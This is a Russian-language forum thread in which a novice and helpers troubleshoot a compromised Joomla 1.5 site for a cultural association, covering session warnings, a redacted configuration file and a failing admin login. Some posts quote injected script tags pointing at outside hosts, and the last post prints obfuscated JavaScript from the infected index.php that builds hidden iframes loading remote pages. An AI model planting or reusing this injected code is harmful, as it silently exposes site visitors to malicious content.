Прошу помощи. Сайт был создан около года назад и никогда проблем не было. Директор оффиса - мужик толковый, сам хорошо во многом разбирается, по логике он никак не мог напортачить сам. Около 2 недель назад с сайтом стали происходить глюки. Обратился ко мне, а я пока не могу сама справиться. Помогите, пожалуйста. (Учитывая, что я не великий специалист, и программирование не мой конек) Первая проблема была, что над шапкой сайта появилось: Warning: session_start() [function.session-start]: Cannot send session cookie - headers already sent by (output started at /homez.40/officecu/www/index.php:1) in /homez.40/officecu/www/libraries/joomla/session/session.php on line 424 Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at /homez.40/officecu/www/index.php:1) in /homez.40/officecu/www/libraries/joomla/session/session.php on line 424 Warning: Cannot modify header information - headers already sent by (output started at /homez.40/officecu/www/index.php:1) in /homez.40/officecu/www/libraries/joomla/session/session.php on line 427 Проблема была устранена путем добавления в /libraries/joomla/session/session.php function _start() "//" перед session_start() - //session_start() Однако в последующие дни заход в админку сайта то работал, то не работал. (Что это может быть?) И пропала вся связь: не работают Contact, aiContactSafe , и невозможно добавить и редактировать сообщения в jEvents. В Contact страница просто обновляется без захода и без "ругательств". В aiContactSafe пишет: Warning: session_start() [function.session-start]: Cannot send session cookie - headers already sent by (output started at /homez.40/officecu/www/index.php:1) in /homez.40/officecu/www/components/com_aicontactsafe/aicontactsafe.php on line 14 Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at /homez.40/officecu/www/index.php:1) in /homez.40/officecu/www/components/com_aicontactsafe/aicontactsafe.php on line 14 Сейчас вход в админку не работает (обновляется страница входа с пустыми полями логина/пароля). Зайти не могу. С чего начать? Как зайти в админку? Что потом? Дезинсталировать и снова загрузить компоненты и модули? Или есть другие решения? Очень надеюсь на вашу помощь.
Хочу посмотреть файл конфиг.пхп.Только без пароля и личных данных по хостингу. И нужно посмотреть дату последнего изменения конфиг.пхп. п.с. и сессии включите.
Спасибо за ответ. "п.с. и сессии включите." - Вы имеете ввиду открыть session_start()? - Тогда сразу шапка вверху на сайте появляется. (Хотя, конечно, спрятав визуально проблему, не избавиться от нее и от прочих) <?php class JConfig { var $offline = '0'; var $editor = 'jce'; var $list_limit = '20'; var $helpurl = 'http://help.joomla.fr'; var $debug = '0'; var $debug_lang = '0'; var $sef = '1'; var $sef_rewrite = '0'; var $sef_suffix = '1'; var $feed_limit = '10'; var $feed_email = 'author'; var $secret = ' '; var $gzip = '0'; var $error_reporting = '-1'; var $xmlrpc_server = '0'; var $log_path = ' '; var $tmp_path = ' '; var $live_site = ' '; var $force_ssl = '0'; var $offset = '0'; var $caching = '0'; var $cachetime = '15'; var $cache_handler = 'file'; var $memcache_settings = array(); var $ftp_enable = '0'; var $ftp_host = ' '; var $ftp_port = ' '; var $ftp_user = ''; var $ftp_pass = ''; var $ftp_root = ''; var $dbtype = 'mysql'; var $host = 'mysql5-7.pro'; var $user = ' '; var $db = ' '; var $dbprefix = 'jos_'; var $mailer = 'mail'; var $mailfrom = ' '; var $fromname = ' '; var $sendmail = '/usr/sbin/sendmail'; var $smtpauth = '0'; var $smtpsecure = 'none'; var $smtpport = '25'; var $smtpuser = ''; var $smtppass = ''; var $smtphost = 'localhost'; var $MetaAuthor = '1'; var $MetaTitle = '1'; var $lifetime = '15'; var $session_handler = 'database'; var $password = ' '; var $sitename = ' '; var $MetaDesc = ' '; var $MetaKeys = 'office culturel, arras, association, association culturelle, concert, photo, musique, théâtre, festival, spectacle'; var $offline_message = ''; } ?> Если что лишнее убрала, скажите, что дополнить, пожалуйста. P.S.: тут посидела на форумах... есть версия, что была подхвачена зараза через скрипты в index.php и index.html. Там появляются такие штучки, типа: <script type="text/javascript" src="http://acp.ipp.lt/search.php"></script><?php include dirname(__FILE__).DIRECTORY_SEPARATOR.'component.p hp'; ?> <html><body><script type="text/javascript" src="http://www.chicasenvideochat.com/search.php"></script><br><h2 align="center">Access denied.</h2></body></html> Но на моем сайте их нет.
Сегодня выходной, связаться с директором не могу. По движению на сайте (проблемы начали возникать якобы около 2-х недель назад, то есть около 5-10 апреля): - 01.03.2011 заменены все index.html видимо автоматически во всех папках (по времени - 2 минуты разница ; Директор добавил в основной директорий дополнительный php файл.) - 31.03.2010 заменен index.php - 12.04.2011 заменен htaccess.txt - 14.04.2011 заменен index.php configuration.php - не менялся. Сравнила с "чистым"(сохраненным на моем компе) - не вижу проблемы. Сайт не работает в усиленном режиме. Это сайт культурных событий в небольшом административном центре. Директор мог и не замечать, что что-то шло не так. Но уж 31 матра он вмешался. Значит было зачем. А 12-14 видимо совсем плохо стало.
На какую папку? Кому закрыл доступ? Он сам не может зайти в админку, не может зайти на сайт, как пользователь. Странно то, что доступ (как он говорит) то появлялся, то пропадал за последние 2 недели. Сайт не имеет "связи". А так, работает. Все остальные модули и компоненты вроде в порядке.
Мне достаточно.Открыть файл конфиг.пхп и сохранить UTF-8 без BOM. Джумла ? Его не менять нужно-а включать/переименовать в ".htaccess"
Какая версия Joomla ?Может обновиться до 1.25.23 и еще нужно посмотреть что в таблице users поле block 0 or 1 ?
Вы уж простите непрофессионала (коим я являюсь), где там про UTF-8? В configuration.php? Это было сделано при загрузке на хостинг. ".htaccess" существует и не менялся. - там все нормально. Это я удалила, когда копировала. Это имеется ввиду? В libraries/joomla/user ? var $id = null; /** * The users real name (or nickname) * @var string */ var $name = null; /** * The login name * @var string */ var $username = null; /** * The email * @var string */ var $email = null; /** * MD5 encrypted password * @var string */ var $password = null; /** * Clear password, only available when a new password is set for a user * @var string */ var $password_clear = ''; /** * Description * @var string */ var $usertype = null; /** * Description * @var int */ var $block = null; /** * Description * @var int */ var $sendEmail = null; /** * The group id number * @var int */ var $gid = null; /** * Description * @var datetime */ var $registerDate = null; /** * Description * @var datetime */ var $lastvisitDate = null; /** * Description * @var string activation hash */ var $activation = null; /** * Description * @var string */ var $params = null; /** * Description * @var string integer */ var $aid = null; /** * Description * @var boolean */ var $guest = null; /** * User parameters * @var object */ var $_params = null; /** * Error message * @var string */ var $_errorMsg = null; Чтобы "обновиться", надо зайти в админку. А КАК?
Не всегда.Можно и FTP. phpmyadmin хостинга нужно посмотреть что в таблице users поле block 0 or 1 ? NotePad++ там путь прописан к папке темп,на которую нужно права 755,а иногда при установке расширений 777.
Draff, спасибо большое за помощь. Я просто проходила курс , этот сайт был как бы моей курсовой работой. Я не специалист. Но директор - очень хороший человек. Мне бы хотелось ему помочь, да и свое "детище" не хочется оставлять брошенным и испорченным. - Если я правильно поняла, надо зайти через FileZilla в phpMyAdmin? И там проверить где-то в jos_plugins -> User Joomla "0" или "1". Так? У меня не сохранились явки и пароли на БД. Завтра я это смогу проверить. - не поняла. NotePad не пользовалась. Все же, как для чайников, где это? Зачем NotePad? - тоже сложно понять. Там такая строчка: var $tmp_path = '/homez.40/officecu/www/tmp'; (не знаю, как уразуметь правА на 755 или на 777.... ) Все же, все же... Начать с проверки users поле block 0 or 1? Больше никаких возможностей зайти в админку? Почему слетели входы на сайт через aiContactSafe и Contact в jEvents? Стоит ли пытаться сейчас обновить до последней (или до более новой версии) Joomla? Я ставила 1.5.15. Если стОит, то как это можно сделать через FTP. P.S.: Если можете помочь, могу дать ссылку на сайт. Можете сами посмотреть, что там не работает. С помощью "//" убрала косяки, но зайти на сайт в администрирование и как пользователю невозможно. В любом случае, спасибо Вам. Извините, что отвлекаю в праздники. С Пасхой!
Все настроено! Что было сделано: 1) В БД jos_plugins -> published заменила "0" на "1" (только по-моему это ни на что не повлияло); 2) Вернула замененный 2 недели назад index.php. Получила следующее ругательство на главной странице: y='rum';n='s';fp='afe';e='tp';bo='/f';lk='o.c';bl='742';x='7';i='ra';h='c';gf='.';fl='ht';q='//';w='c';pu='554';mk='p?';qg='tp=';il='ph';yy='o';am='5e';k='.c';c='me';u='r';d='20a';qd='1';z='prw';xu='if';iy='a';f=':';a=xu.concat(i,c);kx=n.concat(u,h);l=fl.concat(e,f,q,z,qd,k,lk,w,bo,yy,y,gf,il,mk,qg,bl,d,am,pu,fp,iy,x);var ov=document.createElement(a);ov.setAttribute('width','5');ov.setAttribute('height','5');ov.setAttribute('style','display:none');ov.setAttribute(kx,l);document.body.appendChild(ov);lb='r';r='d3b';q='.c';b='or';v='e';bi='e30';gl='?';j='c/f';ru='l';pj='a';zh='m.';h='a';xc='me';i='c';z='tp:';n='4';ye='=';lg='s';qk='426';jp='ht';g='a';k='z';ut='u';c='//p';pr='7f';o='i';by='fr';ck='3';pl='php';pe='tp';e='a';nc='.co';gz=o.concat(by,h,xc);kx=lg.concat(lb,i);dv=jp.concat(z,c,k,ru,ck,nc,q,j,b,ut,zh,pl,gl,pe,ye,v,pj,r,e,qk,pr,bi,g,n);var bo=document.createElement(gz);bo.setAttribute('width','5');bo.setAttribute('height','5');bo.setAttribute('style','display:none');bo.setAttribute(kx,dv);document.body.appendChild(bo); Warning: session_start() [function.session-start]: Cannot send session cookie - headers already sent by (output started at /homez.40/office/www/index.php:1) in /homez.40/office/libraries/joomla/session/session.php on line 424 Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at /homez.40/office/www/index.php:1) in /homez.40/office/libraries/joomla/session/session.php on line 424 Warning: Cannot modify header information - headers already sent by (output started at /homez.40/office/www/index.php:1) in /homez.40/office/libraries/joomla/session/session.php on line 427 (Сайт при этом отображается корректно) 3) Попробовала зайти в админку. Зашла. Сразу! В чем была "штучка" не поняла. Но вход в админку заработал; 4) Почистила cach; 5) Поставила сайт в "offline"; Загрузила через FileZilla версию 1.5.23. (заменила htaccess.txt на .htaccess); 6) Сайт не открывался из-за глюков c jEvents. В .htaccess добавила SetEnv PHP_VER5 ; ВСЕ! Сайт открылся. Ругательства пропали, связь заработала. (Connextion, JEvents, aiContactSafe) Пфффф....